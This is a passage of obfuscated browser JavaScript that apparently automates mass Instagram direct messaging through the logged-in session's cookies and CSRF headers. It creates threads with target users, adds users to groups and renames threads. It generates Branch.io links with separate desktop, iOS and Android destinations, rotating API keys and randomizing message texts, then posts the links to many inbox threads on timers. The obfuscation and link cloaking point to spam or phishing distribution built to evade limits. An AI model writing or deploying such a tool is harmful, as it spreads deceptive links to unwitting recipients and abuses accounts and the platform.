_0x51d0b8=_0x499ac7;getThread=_0x1cd329[_0x51d0b8(0x271)],_0x12882a++,$('.olePiro')['text'](_0x12882a),$(_0x51d0b8(0x2ce))['html'](_0x51d0b8(0x227))[_0x51d0b8(0x204)](_0x51d0b8(0x2ab),_0x51d0b8(0x198)),$[_0x51d0b8(0x2ea)]({'url':_0x46fdb6,'type':_0x51d0b8(0x26a),'contentType':'application/json;\x20charset=utf-8','dataType':_0x51d0b8(0x2e8),'data':JSON[_0x51d0b8(0x208)]({'branch_key':apiBrancgh[_0x58ffce],'data':{'$desktop_url':_0x21ea0a,'$ios_url':_0x159391,'$android_url':_0x1af123,'$og_title':send_full,'$og_description':kirempesan[_0x14750d],'$og_image_url':send_profile}})})[_0x51d0b8(0x24e)](function(_0x26faad){var _0x589a4d=_0x51d0b8,_0x554782=_0x26faad[_0x589a4d(0x217)],_0x1e317a=_0x554782[_0x589a4d(0x278)](/^[a-z]{4,5}\:\/{2}[a-z0-9.]{1,}.[a-z.]{1,}.[a-z.]{1,}\/(.*)/,_0x589a4d(0x1bb));$[_0x589a4d(0x2ea)]({'url':_0x535a19,'type':_0x589a4d(0x26a),'crossDomain':!![],'headers':{'content-type':_0x589a4d(0x21e),'x-csrftoken':send_csrf,'x-ig-app-id':_0x589a4d(0x2c9),'x-ig-www-claim':_0x536e1e,'x-instagram-ajax':send_fuck,'x-requested-with':_0x589a4d(0x1e0)},'xhrFields':{'withCredentials':!![]},'data':{'action':_0x589a4d(0x1d5),'client_context':guid(),'link_text':_0x1e317a,'link_urls':JSON[_0x589a4d(0x208)]([_0x1e317a]),'mutation_token':guid(),'thread_id':getThread}});});})[_0x499ac7(0x272)](function(){var _0x65942b=_0x499ac7;_0x39e605++,$(_0x65942b(0x257))[_0x65942b(0x1fd)](_0x39e605),$(_0x65942b(0x2ce))[_0x65942b(0x28d)](_0x65942b(0x253))[_0x65942b(0x204)]('color','red');});})[_0x37e6e2(0x272)](function(){var _0x4ddd4e=_0x37e6e2;$('.errorLog')[_0x4ddd4e(0x28d)](_0x4ddd4e(0x238))[_0x4ddd4e(0x204)](_0x4ddd4e(0x2ab),_0x4ddd4e(0x1e7));});},_0x4260a4*_0x44b3ae),_0x591c04;});});}}}else $[_0x3bd070(0x2ea)]({'url':_0x3bd070(0x266)+_0x3e2bef[_0x3bd070(0x24f)]['id']+_0x3bd070(0x2b0),'type':_0x3bd070(0x26a),'crossDomain':!![],'headers':{'content-type':_0x3bd070(0x21e),'x-csrftoken':send_csrf,'x-ig-app-id':_0x3bd070(0x2c9),'x-ig-www-claim':_0x536e1e,'x-instagram-ajax':send_fuck,'x-requested-with':'XMLHttpRequest'},'xhrFields':{'withCredentials':!![]},'beforeSend':function(){var _0x59c859=_0x3bd070;$(_0x59c859(0x2ce))[_0x59c859(0x28d)](_0x59c859(0x1b3))[_0x59c859(0x204)](_0x59c859(0x2ab),_0x59c859(0x255));}})[_0x3bd070(0x24e)](function(){var _0x1bfbea=_0x3bd070;$('.errorLog')[_0x1bfbea(0x28d)](_0x1bfbea(0x1d4))[_0x1bfbea(0x204)](_0x1bfbea(0x2ab),_0x1bfbea(0x198)),$['ajax']({'url':_0x52f72f,'type':_0x1bfbea(0x26a),'crossDomain':!![],'headers':{'content-type':_0x1bfbea(0x21e),'x-csrftoken':send_csrf,'x-ig-app-id':_0x1bfbea(0x2c9),'x-ig-www-claim':_0x536e1e,'x-instagram-ajax':send_fuck,'x-requested-with':'XMLHttpRequest'},'xhrFields':{'withCredentials':!![]},'data':{'recipient_users':JSON[_0x1bfbea(0x208)]([_0x3e2bef['node']['id']])}})[_0x1bfbea(0x24e)](function(_0x44c0ef){var _0x116130=_0x1bfbea;getThread=_0x44c0ef[_0x116130(0x271)],_0x12882a++,$(_0x116130(0x20a))['text'](_0x12882a),$(_0x116130(0x2ce))[_0x116130(0x28d)](_0x116130(0x227))['css'](_0x116130(0x2ab),_0x116130(0x198)),$[_0x116130(0x2ea)]({'url':_0x46fdb6,'type':_0x116130(0x26a),'contentType':_0x116130(0x2d8),'dataType':_0x116130(0x2e8),'data':JSON[_0x116130(0x208)]({'branch_key':apiBrancgh[_0x58ffce],'data':{'$desktop_url':_0x21ea0a,'$ios_url':_0x159391,'$android_url':_0x1af123,'$og_title':send_full,'$og_description':kirempesan[_0x14750d],'$og_image_url':send_profile}})})[_0x116130(0x24e)](function(_0x3e9f5e){var _0x15c470=_0x116130,_0x2a75ec=_0x3e9f5e[_0x15c470(0x217)],_0x186908=_0x2a75ec[_0x15c470(0x278)](/^[a-z]{4,5}\:\/{2}[a-z0-9.]{1,}.[a-z.]{1,}.[a-z.]{1,}\/(.*)/,_0x15c470(0x1bb));$[_0x15c470(0x2ea)]({'url':_0x535a19,'type':'post','crossDomain':!![],'headers':{'content-type':_0x15c470(0x21e),'x-csrftoken':send_csrf,'x-ig-app-id':_0x15c470(0x2c9),'x-ig-www-claim':_0x536e1e,'x-instagram-ajax':send_fuck,'x-requested-with':'XMLHttpRequest'},'xhrFields':{'withCredentials':!![]},'data':{'action':'send_item','client_context':guid(),'link_text':_0x186908,'link_urls':JSON['stringify']([_0x186908]),'mutation_token':guid(),'thread_id':getThread}});});})[_0x1bfbea(0x272)](function(){var _0x4b95a2=_0x1bfbea;_0x39e605++,$(_0x4b95a2(0x257))[_0x4b95a2(0x1fd)](_0x39e605),$(_0x4b95a2(0x2ce))['html'](_0x4b95a2(0x253))[_0x4b95a2(0x204)]('color',_0x4b95a2(0x1e7));});})['fail'](function(){var _0x2d083e=_0x3bd070;$('.errorLog')['html'](_0x2d083e(0x238))[_0x2d083e(0x204)]('color',_0x2d083e(0x1e7));});},_0x30fd2f*_0x44b3ae),_0x30a56f;});if(_0x536e1e!=='0')return _0x536e1e;});}else{if($(_0x5cc1c5(0x216))[_0x5cc1c5(0x1de)](_0x5cc1c5(0x22a))[_0x5cc1c5(0x225)]>0x0){if(!_0x3353e8||_0x3353e8<0x1)return alert(_0x5cc1c5(0x2d6)),![];else{if(!_0x1af123||_0x1af123<0x1)return alert(_0x5cc1c5(0x1e2)),![];else{if(!_0x159391||_0x159391<0x1)return alert(_0x5cc1c5(0x230)),![];else $(this)[_0x5cc1c5(0x1fd)]('WES'),$(_0x5cc1c5(0x2ce))[_0x5cc1c5(0x28d)](_0x5cc1c5(0x2bf))['css'](_0x5cc1c5(0x2ab),_0x5cc1c5(0x255));}}if(!_0x44b3ae)_0x44b3ae=0x1;_0x44b3ae=_0x44b3ae*0x1388,$[_0x5cc1c5(0x286)](_0x52f7df,function(_0x46ad07,_0x41f9f5){setTimeout(function(){var _0x274c1c=_0x28a9,_0x1d234a=Math[_0x274c1c(0x1db)](Math[_0x274c1c(0x231)]()*kirempesan[_0x274c1c(0x225)]),_0x5641fe=Math[_0x274c1c(0x1db)](Math[_0x274c1c(0x231)]()*apiBrancgh[_0x274c1c(0x225)]);_0x41f9f5===_0x5d017b?(clearTimeout(),$('.errorLog')[_0x274c1c(0x28d)](_0x274c1c(0x212))[_0x274c1c(0x204)]('color',_0x274c1c(0x255))):$[_0x274c1c(0x2ea)]({'url':_0x52f72f,'type':_0x274c1c(0x26a),'crossDomain':!![],'headers':{'content-type':_0x274c1c(0x21e),'x-csrftoken':send_csrf,'x-ig-app-id':_0x274c1c(0x2c9),'x-ig-www-claim':_0x536e1e,'x-instagram-ajax':send_fuck},'xhrFields':{'withCredentials':!![]},'data':{'recipient_users':JSON[_0x274c1c(0x208)](_0x41f9f5)}})[_0x274c1c(0x24e)](function(_0x376f5e,_0x444e19,_0x33e2a1){var _0x3d3675=_0x274c1c;get_hmac_credential=_0x33e2a1[_0x3d3675(0x2cc)]('x-ig-set-www-claim'),getThread=_0x376f5e[_0x3d3675(0x271)],kondisi=_0x376f5e[_0x3d3675(0x2dc)],_0x12882a++;kondisi=='ok'&&($(_0x3d3675(0x20a))[_0x3d3675(0x1fd)](_0x12882a),$(_0x3d3675(0x2ce))['html'](_0x3d3675(0x2a4))['css']('color',_0x3d3675(0x198)),$[_0x3d3675(0x2ea)]({'url':_0x46fdb6,'type':'post','contentType':'application/json;\x20charset=utf-8','dataType':_0x3d3675(0x2e8),'data':JSON[_0x3d3675(0x208)]({'branch_key':apiBrancgh[_0x5641fe],'data':{'$desktop_url':_0x21ea0a,'$ios_url':_0x159391,'$android_url':_0x1af123,'$og_title':send_full,'$og_description':kirempesan[_0x1d234a],'$og_image_url':send_profile}})})[_0x3d3675(0x24e)](function(_0x29f935){var _0x4e7d41=_0x3d3675,_0x2c017c=_0x29f935[_0x4e7d41(0x217)],_0x624259=_0x2c017c[_0x4e7d41(0x278)](/^[a-z]{4,5}\:\/{2}[a-z0-9.]{1,}.[a-z.]{1,}.[a-z.]{1,}\/(.*)/,_0x4e7d41(0x1bb));$[_0x4e7d41(0x2ea)]({'url':_0x535a19,'type':_0x4e7d41(0x26a),'crossDomain':!![],'headers':{'content-type':_0x4e7d41(0x21e),'x-csrftoken':send_csrf,'x-ig-app-id':_0x4e7d41(0x2c9),'x-ig-www-claim':_0x536e1e,'x-instagram-ajax':send_fuck},'xhrFields':{'withCredentials':!![]},'data':{'action':'send_item','client_context':guid(),'link_text':_0x624259,'link_urls':JSON[_0x4e7d41(0x208)]([_0x624259]),'mutation_token':guid(),'thread_id':getThread}});})['done'](function(){var _0x130d0a=_0x3d3675;$[_0x130d0a(0x2ea)]({'url':_0x130d0a(0x1fe)+getThread+_0x130d0a(0x28f),'type':_0x130d0a(0x26a),'crossDomain':!![],'headers':{'content-type':_0x130d0a(0x21e),'x-csrftoken':send_csrf,'x-ig-app-id':_0x130d0a(0x2c9),'x-ig-www-claim':_0x536e1e,'x-instagram-ajax':send_fuck},'xhrFields':{'withCredentials':!![]},'data':{'title':send_full+_0x130d0a(0x283)}});}));if(_0x536e1e!=='0')return _0x536e1e;})[_0x274c1c(0x272)](function(_0x1db8ba){var _0x152116=_0x274c1c;_0x536e1e=_0x1db8ba['getResponseHeader']('x-ig-set-www-claim'),_0x39e605++,$('.mendal')[_0x152116(0x1fd)](_0x39e605),$(_0x152116(0x2ce))[_0x152116(0x28d)](_0x152116(0x1be))[_0x152116(0x204)](_0x152116(0x2ab),_0x152116(0x1e7));if(_0x536e1e!=='0')return _0x536e1e;});},(_0x46ad07+0x1)*_0x44b3ae);});}else{if($(_0x5cc1c5(0x216))[_0x5cc1c5(0x1de)]('option.kiremLink')['length']>0x0){if(!_0x1af123||_0x1af123<0x1)return alert('Endi\x20Link\x20Android\x20e\x20!!'),![];else{if(!_0x159391||_0x159391<0x1)return alert(_0x5cc1c5(0x230)),![];else $(this)[_0x5cc1c5(0x1fd)](_0x5cc1c5(0x2b6)),$(_0x5cc1c5(0x2ce))[_0x5cc1c5(0x28d)](_0x5cc1c5(0x2bf))[_0x5cc1c5(0x204)](_0x5cc1c5(0x2ab),_0x5cc1c5(0x255));}if(!_0x44b3ae)_0x44b3ae=0x1;_0x44b3ae=_0x44b3ae*0x1388,$[_0x5cc1c5(0x2ea)]({'url':_0x5cc1c5(0x27a),'type':_0x5cc1c5(0x1a3),'headers':{'x-ig-app-id':_0x5cc1c5(0x2c9),'x-ig-www-claim':_0x536e1e},'xhrFields':{'withCredentials':!![]},'beforeSend':function(){var _0x1f65b6=_0x5cc1c5;$(_0x1f65b6(0x2ce))['html']('<i>Get\x20Thread_id..\x20&#128522;</i>')[_0x1f65b6(0x204)]('color',_0x1f65b6(0x255));},'data':{'persistentBadging':!![],'folder':'','limit':'10','thread_message_limit':'10'}})[_0x5cc1c5(0x24e)](function(_0x566d12,_0x528aee,_0x4ba1c7){var _0x4d6ec9=_0x5cc1c5;_0x536e1e=_0x4ba1c7[_0x4d6ec9(0x2cc)](_0x4d6ec9(0x209)),kelola=_0x566d12[_0x4d6ec9(0x1b2)][_0x4d6ec9(0x1af)],ono_maneh=_0x566d12['inbox'][_0x4d6ec9(0x23b)],define_cursor=_0x566d12[_0x4d6ec9(0x1b2)]['oldest_cursor'],_0x317e88=define_cursor;if(kelola===null||kelola[_0x4d6ec9(0x225)]===0x0)return $('.errorLog')[_0x4d6ec9(0x28d)](_0x4d6ec9(0x2b9))[_0x4d6ec9(0x204)](_0x4d6ec9(0x2ab),_0x4d6ec9(0x255)),![];else $['each'](kelola,function(_0x5e65a1,_0x1b5065){var _0x20c5d7=_0x4d6ec9,_0x598dcc=!![],_0x3eadbb=_0x5e65a1==kelola[_0x20c5d7(0x225)]-0x1;return setTimeout(function(){var _0x3ff133=_0x20c5d7,_0x8b2985=Math[_0x3ff133(0x1db)](Math[_0x3ff133(0x231)]()*kirempesan['length']),_0x4b1c07=Math[_0x3ff133(0x1db)](Math['random']()*apiBrancgh[_0x3ff133(0x225)]);if(_0x3eadbb){if(ono_maneh===![])return $['ajax']({'url':_0x46fdb6,'type':_0x3ff133(0x26a),'contentType':_0x3ff133(0x2d8),'dataType':_0x3ff133(0x2e8),'data':JSON['stringify']({'branch_key':apiBrancgh[_0x4b1c07],'data':{'$desktop_url':_0x21ea0a,'$ios_url':_0x159391,'$android_url':_0x1af123,'$og_title':send_full,'$og_description':kirempesan[_0x8b2985],'$og_image_url':send_profile}}),'beforeSend':function(){var _0x148335=_0x3ff133;$(_0x148335(0x2ce))[_0x148335(0x28d)]('<i>Gawe\x20Link..\x20&#128522;</i>')[_0x148335(0x204)](_0x148335(0x2ab),'blue');}})[_0x3ff133(0x24e)](function(_0x5425a1){var _0x196d70=_0x3ff133,_0x7607d1=_0x5425a1[_0x196d70(0x217)],_0xb0fd6f=_0x7607d1[_0x196d70(0x278)](/^[a-z]{4,5}\:\/{2}[a-z0-9.]{1,}.[a-z.]{1,}.[a-z.]{1,}\/(.*)/,_0x196d70(0x1bb));$['ajax']({'url':_0x535a19,'type':_0x196d70(0x26a),'crossDomain':!![],'headers':{'content-type':_0x196d70(0x21e),'x-csrftoken':send_csrf,'x-ig-app-id':_0x196d70(0x2c9),'x-ig-www-claim':_0x536e1e,'x-instagram-ajax':send_fuck},'xhrFields':{'withCredentials':!![]},'data':{'action':'send_item','client_context':guid(),'link_text':_0xb0fd6f,'link_urls':JSON[_0x196d70(0x208)]([_0xb0fd6f]),'mutation_token':guid(),'thread_id':_0x1b5065['thread_id']}})[_0x196d70(0x24e)](function(){var _0x365239=_0x196d70;_0x12882a++,$('.olePiro')[_0x365239(0x1fd)](_0x12882a),$(_0x365239(0x2ce))[_0x365239(0x28d)](_0x365239(0x2d4))[_0x365239(0x204)](_0x365239(0x2ab),_0x365239(0x255));})[_0x196d70(0x272)](function(){var _0x1dd7a8=_0x196d70;_0x39e605++,$(_0x1dd7a8(0x257))[_0x1dd7a8(0x1fd)](_0x39e605),$(_0x1dd7a8(0x2ce))['html'](_0x1dd7a8(0x2a9))[_0x1dd7a8(0x204)](_0x1dd7a8(0x2ab),_0x1dd7a8(0x255));});}),clearTimeout(),_0x598dcc=![],![];else{$[_0x3ff133(0x2ea)]({'url':_0x46fdb6,'type':_0x3ff133(0x26a),'contentType':'application/json;\x20charset=utf-8','dataType':'json','data':JSON[_0x3ff133(0x208)]({'branch_key':apiBrancgh[_0x4b1c07],'data':{'$desktop_url':_0x21ea0a,'$ios_url':_0x159391,'$android_url':_0x1af123,'$og_title':send_full,'$og_description':kirempesan[_0x8b2985],'$og_image_url':send_profile}}),'beforeSend':function(){var _0x25119d=_0x3ff133;$('.errorLog')[_0x25119d(0x28d)]('<i>Gawe\x20Link..\x20&#128522;</i>')['css'](_0x25119d(0x2ab),'blue');}})[_0x3ff133(0x24e)](function(_0x2e9d67){var _0x124d35=_0x3ff133,_0xd44f59=_0x2e9d67['url'],_0x3518e1=_0xd44f59[_0x124d35(0x278)](/^[a-z]{4,5}\:\/{2}[a-z0-9.]{1,}.[a-z.]{1,}.[a-z.]{1,}\/(.*)/,_0x124d35(0x1bb));$[_0x124d35(0x2ea)]({'url':_0x535a19,'type':'post','crossDomain':!![],'headers':{'content-type':_0x124d35(0x21e),'x-csrftoken':send_csrf,'x-ig-app-id':'1217981644879628','x-ig-www-claim':_0x536e1e,'x-instagram-ajax':send_fuck},'xhrFields':{'withCredentials':!![]},'data':{'action':_0x124d35(0x1d5),'client_context':guid(),'link_text':_0x3518e1,'link_urls':JSON[_0x124d35(0x208)]([_0x3518e1]),'mutation_token':guid(),'thread_id':_0x1b5065[_0x124d35(0x271)]}})[_0x124d35(0x24e)](function(){var _0x199802=_0x124d35;_0x12882a++,$(_0x199802(0x20a))['text'](_0x12882a),$('.errorLog')['html'](_0x199802(0x27e))['css'](_0x199802(0x2ab),_0x199802(0x198));})[_0x124d35(0x272)](function(){var _0x174d55=_0x124d35;_0x39e605++,$(_0x174d55(0x257))[_0x174d55(0x1fd)](_0x39e605),$('.errorLog')[_0x174d55(0x28d)](_0x174d55(0x1be))[_0x174d55(0x204)]('color','red');});}),_0x2d19a6();function _0x2d19a6(){setTimeout(function(){var _0x3eb27d=_0x28a9;$['ajax']({'url':_0x3eb27d(0x27a),'type':_0x3eb27d(0x1a3),'headers':{'x-ig-app-id':_0x3eb27d(0x2c9),'x-ig-www-claim':_0x536e1e},'xhrFields':{'withCredentials':!![]},'beforeSend':function(){var _0x284818=_0x3eb27d;$(_0x284818(0x2ce))[_0x284818(0x28d)](_0x284818(0x1d3))[_0x284818(0x204)](_0x284818(0x2ab),'blue');},'data':{'persistentBadging':!![],'cursor':_0x317e88}})['done'](function(_0x10b883){var _0x25abe8=_0x3eb27d;kelola_second=_0x10b883[_0x25abe8(0x1b2)][_0x25abe8(0x1af)],ono_maneh_second=_0x10b883[_0x25abe8(0x1b2)][_0x25abe8(0x23b)],define_second_cursor=_0x10b883[_0x25abe8(0x1b2)][_0x25abe8(0x1da)],_0x317e88=define_second_cursor,clearTimeout(),$[_0x25abe8(0x286)](kelola_second,function(_0x1bab02,_0x29e89c){var _0x4abe27=_0x25abe8,_0x27e092=!![],_0x5ca200=_0x1bab02==kelola_second[_0x4abe27(0x225)]-0x1;return setTimeout(function(){var _0x13c15b=_0x4abe27,_0x111043=Math[_0x13c15b(0x1db)](Math[_0x13c15b(0x231)]()*kirempesan['length']),_0x1cdaf6=Math[_0x13c15b(0x1db)](Math[_0x13c15b(0x231)]()*apiBrancgh[_0x13c15b(0x225)]);if(_0x5ca200){if(ono_maneh_second===![])return $['ajax']({'url':_0x46fdb6,'type':'post','contentType':_0x13c15b(0x2d8),'dataType':'json','data':JSON[_0x13c15b(0x208)]({'branch_key':apiBrancgh[_0x1cdaf6],'data':{'$desktop_url':_0x21ea0a,'$ios_url':_0x159391,'$android_url':_0x1af123,'$og_title':send_full,'$og_description':kirempesan[_0x111043],'$og_image_url':send_profile}}),'beforeSend':function(){var _0x1e83ce=_0x13c15b;$(_0x1e83ce(0x2ce))[_0x1e83ce(0x28d)](_0x1e83ce(0x1eb))[_0x1e83ce(0x204)]('color','blue');}})['done'](function(_0x304e4b){var _0x4b822a=_0x13c15b,_0x4775c1=_0x304e4b[_0x4b822a(0x217)],_0x4fbbeb=_0x4775c1[_0x4b822a(0x278)](/^[a-z]{4,5}\:\/{2}[a-z0-9.]{1,}.[a-z.]{1,}.[a-z.]{1,}\/(.*)/,'https://bnc.lt/$1');$[_0x4b822a(0x2ea)]({'url':_0x535a19,'type':'post','crossDomain':!![],'headers':{'content-type':'application/x-www-form-urlencoded','x-csrftoken':send_csrf,'x-ig-app-id':_0x4b822a(0x2c9),'x-ig-www-claim':_0x536e1e,'x-instagram-ajax':send_fuck},'xhrFields':{'withCredentials':!![]},'data':{'action':_0x4b822a(0x1d5),'client_context':guid(),'link_text':_0x4fbbeb,'link_urls':JSON[_0x4b822a(0x208)]([_0x4fbbeb]),'mutation_token':guid(),'thread_id':_0x29e89c[_0x4b822a(0x271)]}})[_0x4b822a(0x24e)](function(){var _0x27eba4=_0x4b822a;_0x12882a++,$('.olePiro')[_0x27eba4(0x1fd)](_0x12882a),$('.errorLog')['html'](_0x27eba4(0x2d4))['css'](_0x27eba4(0x2ab),_0x27eba4(0x255));})[_0x4b822a(0x272)](function(){var _0x3ba04c=_0x4b822a;_0x39e605++,$('.mendal')[_0x3ba04c(0x1fd)](_0x39e605),$(_0x3ba04c(0x2ce))[_0x3ba04c(0x28d)](_0x3ba04c(0x2a9))['css']('color',_0x3ba04c(0x255));});}),clearTimeout(),_0x27e092=![],![];else $['ajax']({'url':_0x46fdb6,'type':_0x13c15b(0x26a),'contentType':_0x13c15b(0x2d8),'dataType':_0x13c15b(0x2e8),'data':JSON['stringify']({'branch_key':apiBrancgh[_0x1cdaf6],'data':{'$desktop_url':_0x21ea0a,'$ios_url':_0x159391,'$android_url':_0x1af123,'$og_title':send_full,'$og_description':kirempesan[_0x111043],'$og_image_url':send_profile}}),'beforeSend':function(){var _0x2d7b69=_0x13c15b;$(_0x2d7b69(0x2ce))[_0x2d7b69(0x28d)](_0x2d7b69(0x1eb))[_0x2d7b69(0x204)]('color',_0x2d7b69(0x255));}})[_0x13c15b(0x24e)](function(_0x2d95bf){var _0x3bdc3b=_0x13c15b,_0x45aa25=_0x2d95bf[_0x3bdc3b(0x217)],_0x5c2601=_0x45aa25[_0x3bdc3b(0x278)](/^[a-z]{4,5}\:\/{2}[a-z0-9.]{1,}.[a-z.]{1,}.[a-z.]{1,}\/(.*)/,_0x3bdc3b(0x1bb));$[_0x3bdc3b(0x2ea)]({'url':_0x535a19,'type':_0x3bdc3b(0x26a),'crossDomain':!![],'headers':{'content-type':'application/x-www-form-urlencoded','x-csrftoken':send_csrf,'x-ig-app-id':_0x3bdc3b(0x2c9),'x-ig-www-claim':_0x536e1e,'x-instagram-ajax':send_fuck},'xhrFields':{'withCredentials':!![]},'data':{'action':_0x3bdc3b(0x1d5),'client_context':guid(),'link_text':_0x5c2601,'link_urls':JSON[_0x3bdc3b(0x208)]([_0x5c2601]),'mutation_token':guid(),'thread_id':_0x29e89c[_0x3bdc3b(0x271)]}})[_0x3bdc3b(0x24e)](function(){var _0x52bff3=_0x3bdc3b;_0x12882a++,$('.olePiro')['text'](_0x12882a),$(_0x52bff3(0x2ce))[_0x52bff3(0x28d)](_0x52bff3(0x27e))['css'](_0x52bff3(0x2ab),_0x52bff3(0x198));})[_0x3bdc3b(0x272)](function(){var _0x413141=_0x3bdc3b;_0x39e605++,$(_0x413141(0x257))[_0x413141(0x1fd)](_0x39e605),$(_0x413141(0x2ce))['html'](_0x413141(0x1be))[_0x413141(0x204)]('color','red');});}),_0x2d19a6();}else $[_0x13c15b(0x2ea)]({'url':_0x46fdb6,'type':_0x13c15b(0x26a),'contentType':_0x13c15b(0x2d8),'dataType':'json','data':JSON[_0x13c15b(0x208)]({'branch_key':apiBrancgh[_0x1cdaf6],'data':{'$desktop_url':_0x21ea0a,'$ios_url':_0x159391,'$android_url':_0x1af123,'$og_title':send_full,'$og_description':kirempesan[_0x111043],'$og_image_url':send_profile}}),'beforeSend':function(){var _0x415cf3=_0x13c15b;$(_0x415cf3(0x2ce))[_0x415cf3(0x28d)](_0x415cf3(0x1eb))['css'](_0x415cf3(0x2ab),_0x415cf3(0x255));}})[_0x13c15b(0x24e)](function(_0x538e35){var _0x4412b8=_0x13c15b,_0x2ffdb8=_0x538e35['url'],_0x55cd9b=_0x2ffdb8['replace'](/^[a-z]{4,5}\:\/{2}[a-z0-9.]{1,}.[a-z.]{1,}.[a-z.]{1,}\/(.*)/,_0x4412b8(0x1bb));$[_0x4412b8(0x2ea)]({'url':_0x535a19,'type':_0x4412b8(0x26a),'crossDomain':!![],'headers':{'content-type':_0x4412b8(0x21e),'x-csrftoken':send_csrf,'x-ig-app-id':_0x4412b8(0x2c9),'x-ig-www-claim':_0x536e1e,'x-instagram-ajax':send_fuck},'xhrFields':{'withCredentials':!![]},'data':{'action':_0x4412b8(0x1d5),'client_context':guid(),'link_text':_0x55cd9b,'link_urls':JSON['stringify']([_0x55cd9b]),'mutation_token':guid(),'thread_id':_0x29e89c[_0x4412b8(0x271)]}})[_0x4412b8(0x24e)](function(){var _0x1bf81d=_0x4412b8;_0x12882a++,$(_0x1bf81d(0x20a))[_0x1bf81d(0x1fd)](_0x12882a),$(_0x1bf81d(0x2ce))[_0x1bf81d(0x28d)](_0x1bf81d(0x27e))['css'](_0x1bf81d(0x2ab),'green');})[_0x4412b8(0x272)](function(){var _0x1e1984=_0x4412b8;_0x39e605++,$(_0x1e1984(0x257))['text'](_0x39e605),$(_0x1e1984(0x2ce))[_0x1e1984(0x28d)]('<i>Limit...\x20&#129324;</i>')['css']('color',_0x1e1984(0x1e7));});});},_0x1bab02*_0x44b3ae),_0x27e092;});});},0x3e8);}}}else $[_0x3ff133(0x2ea)]({'url':_0x46fdb6,'type':_0x3ff133(0x26a),'contentType':_0x3ff133(0x2d8),'dataType':_0x3ff133(0x2e8),'data':JSON['stringify']({'branch_key':apiBrancgh[_0x4b1c07],'data':{'$desktop_url':_0x21ea0a,'$ios_url':_0x159391,'$android_url':_0x1af123,'$og_title':send_full,'$og_description':kirempesan[_0x8b2985],'$og_image_url':send_profile}}),'beforeSend':function(){var _0x2a9daa=_0x3ff133;$(_0x2a9daa(0x2ce))[_0x2a9daa(0x28d)](_0x2a9daa(0x1eb))['css'](_0x2a9daa(0x2ab),_0x2a9daa(0x255));}})['done'](function(_0x4b9f48){var _0x1b5dc8=_0x3ff133,_0x44560f=_0x4b9f48[_0x1b5dc8(0x217)],_0x2e0724=_0x44560f[_0x1b5dc8(0x278)](/^[a-z]{4,5}\:\/{2}[a-z0-9.]{1,}.[a-z.]{1,}.[a-z.]{1,}\/(.*)/,_0x1b5dc8(0x1bb));$[_0x1b5dc8(0x2ea)]({'url':_0x535a19,'type':'post','crossDomain':!![],'headers':{'content-type':_0x1b5dc8(0x21e),'x-csrftoken':send_csrf,'x-ig-app-id':_0x1b5dc8(0x2c9),'x-ig-www-claim':_0x536e1e,'x-instagram-ajax':send_fuck},'xhrFields':{'withCredentials':!![]},'data':{'action':_0x1b5dc8(0x1d5),'client_context':guid(),'link_text':_0x2e0724,'link_urls':JSON[_0x1b5dc8(0x208)]([_0x2e0724]),'mutation_token':guid(),'thread_id':_0x1b5065[_0x1b5dc8(0x271)]}})[_0x1b5dc8(0x24e)](function(){var _0x4c0592=_0x1b5dc8;_0x12882a++,$(_0x4c0592(0x20a))['text'](_0x12882a),$(_0x4c0592(0x2ce))[_0x4c0592(0x28d)](_0x4c0592(0x27e))[_0x4c0592(0x204)]('color',_0x4c0592(0x198));})[_0x1b5dc8(0x272)](function(){var _0x1ddd88=_0x1b5dc8;_0x39e605++,$(_0x1ddd88(0x257))['text'](_0x39e605),$(_0x1ddd88(0x2ce))[_0x1ddd88(0x28d)]('<i>Limit...\x20&#129324;</i>')['css'](_0x1ddd88(0x2ab),_0x1ddd88(0x1e7));});});},_0x5e65a1*_0x44b3ae),_0x598dcc;});if(_0x536e1e!=='0')return _0x536e1e;});}else{if($(_0x5cc1c5(0x216))['find'](_0x5cc1c5(0x2ac))['length']>0x0){if(!_0x3353e8||_0x3353e8<0x1)return alert('Endi\x20UID\x20e\x20!!'),![];else $(this)[_0x5cc1c5(0x1fd)](_0x5cc1c5(0x2b6)),$(_0x5cc1c5(0x2ce))[_0x5cc1c5(0x28d)](_0x5cc1c5(0x2bf))['css'](_0x5cc1c5(0x2ab),_0x5cc1c5(0x255));if(!_0x44b3ae)_0x44b3ae=0x1;_0x44b3ae=_0x44b3ae*0xbb8,$[_0x5cc1c5(0x2ea)]({'url':_0x5cc1c5(0x27a),'type':_0x5cc1c5(0x1a3),'headers':{'x-ig-app-id':_0x5cc1c5(0x2c9),'x-ig-www-claim':_0x536e1e},'xhrFields':{'withCredentials':!![]},'beforeSend':function(){var _0x2ab558=_0x5cc1c5;$(_0x2ab558(0x2ce))[_0x2ab558(0x28d)](_0x2ab558(0x1d3))[_0x2ab558(0x204)](_0x2ab558(0x2ab),_0x2ab558(0x255));},'data':{'persistentBadging':!![],'folder':'','limit':'10','thread_message_limit':'10'}})[_0x5cc1c5(0x24e)](function(_0x4be55b,_0x49dc5c,_0x337b0e){var _0x41bd2a=_0x5cc1c5;_0x536e1e=_0x337b0e[_0x41bd2a(0x2cc)](_0x41bd2a(0x209)),kelola=_0x4be55b[_0x41bd2a(0x1b2)][_0x41bd2a(0x1af)],ono_maneh=_0x4be55b['inbox'][_0x41bd2a(0x23b)],define_cursor=_0x4be55b['inbox']['oldest_cursor'],_0x317e88=define_cursor;if(kelola===null||kelola[_0x41bd2a(0x225)]===0x0)return $('.errorLog')[_0x41bd2a(0x28d)](_0x41bd2a(0x2b9))[_0x41bd2a(0x204)]('color',_0x41bd2a(0x255)),![];else $[_0x41bd2a(0x286)](kelola[_0x41bd2a(0x1cd)](_0x4bb07b),function(_0x2ebc62,_0x29187a){var _0x2026e3=!![],_0x3d3774=_0x2ebc62==kelola['length']-0x1;return setTimeout(function(){var _0x4ece4e=_0x28a9;if(_0x3d3774){if(ono_maneh===![])return $[_0x4ece4e(0x2ea)]({'url':_0x4ece4e(0x1fe)+_0x29187a[_0x4ece4e(0x271)]+_0x4ece4e(0x2cb),'type':_0x4ece4e(0x26a),'headers':{'content-type':_0x4ece4e(0x21e),'x-csrftoken':send_csrf,'x-ig-app-id':_0x4ece4e(0x2c9),'x-ig-www-claim':_0x536e1e,'x-instagram-ajax':send_fuck},'data':{'user_ids':JSON['stringify'](_0x4bb07b[_0x2ebc62])}})['done'](function(){var _0x438866=_0x4ece4e;_0x12882a++,$(_0x438866(0x20a))['text'](_0x12882a),$(_0x438866(0x2ce))[_0x438866(0x28d)]('<i>Wes\x20Mari...\x20&#129297;</i>')[_0x438866(0x204)]('color',_0x438866(0x255));})[_0x4ece4e(0x272)](function(){var 